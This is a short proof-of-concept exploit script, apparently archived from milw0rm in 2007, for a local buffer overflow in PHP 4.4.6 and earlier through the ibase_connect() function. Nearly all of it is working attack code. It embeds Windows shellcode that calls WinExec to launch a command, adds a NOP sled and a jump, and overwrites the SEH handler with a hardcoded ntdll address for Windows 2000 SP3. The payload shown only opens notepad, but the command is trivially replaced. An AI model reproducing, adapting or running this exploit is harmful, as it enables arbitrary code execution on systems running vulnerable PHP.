PHP <= 4.4.6 ibase_connect() Local Buffer Overflow Exploit

&#60;?php // PHP &#60;= 4.4.6 ibase_connect() & ibase_pconnect() local buffer overflow // poc exploit // windows 2000 sp3 en / seh overwrite // by rgod // site: http://retrogod.altervista.org if (!extension_loaded(&#34;interbase&#34;)){ die(&#34;only works with interbase extension &#34;); } $____scode= &#34;\xeb\x1b&#34;. &#34;\x5b&#34;. &#34;\x31\xc0&#34;. &#34;\x50&#34;. &#34;\x31\xc0&#34;. &#34;\x88\x43\x59&#34;. &#34;\x53&#34;. &#34;\xbb\xca\x73\xe9\x77&#34;. //WinExec &#34;\xff\xd3&#34;. &#34;\x31\xc0&#34;. &#34;\x50&#34;. &#34;\xbb\x5c\xcf\xe9\x77&#34;. //ExitProcess &#34;\xff\xd3&#34;. &#34;\xe8\xe0\xff\xff\xff&#34;. &#34;\x63\x6d\x64&#34;. &#34;\x2e&#34;. &#34;\x65&#34;. &#34;\x78\x65&#34;. &#34;\x20\x2f&#34;. &#34;\x63\x20&#34;. &#34;start notepad & &#34;; $jmp=&#34;\xeb\xa1\xff\xeb&#34;; // jmp short $eip=&#34;\x86\xa0\xf8\x77&#34;; // call ebx, ntdll.dll $____suntzu=str_repeat(&#34;A&#34;,2676 - strlen($____scode)); $____suntzu.=str_repeat(&#34;\x90&#34;,190).$____scode.str_repeat(&#34;\x90&#34;,10).$jmp.$eip; ibase_connect($____suntzu); ?&#62; # milw0rm.com [2007-03-15]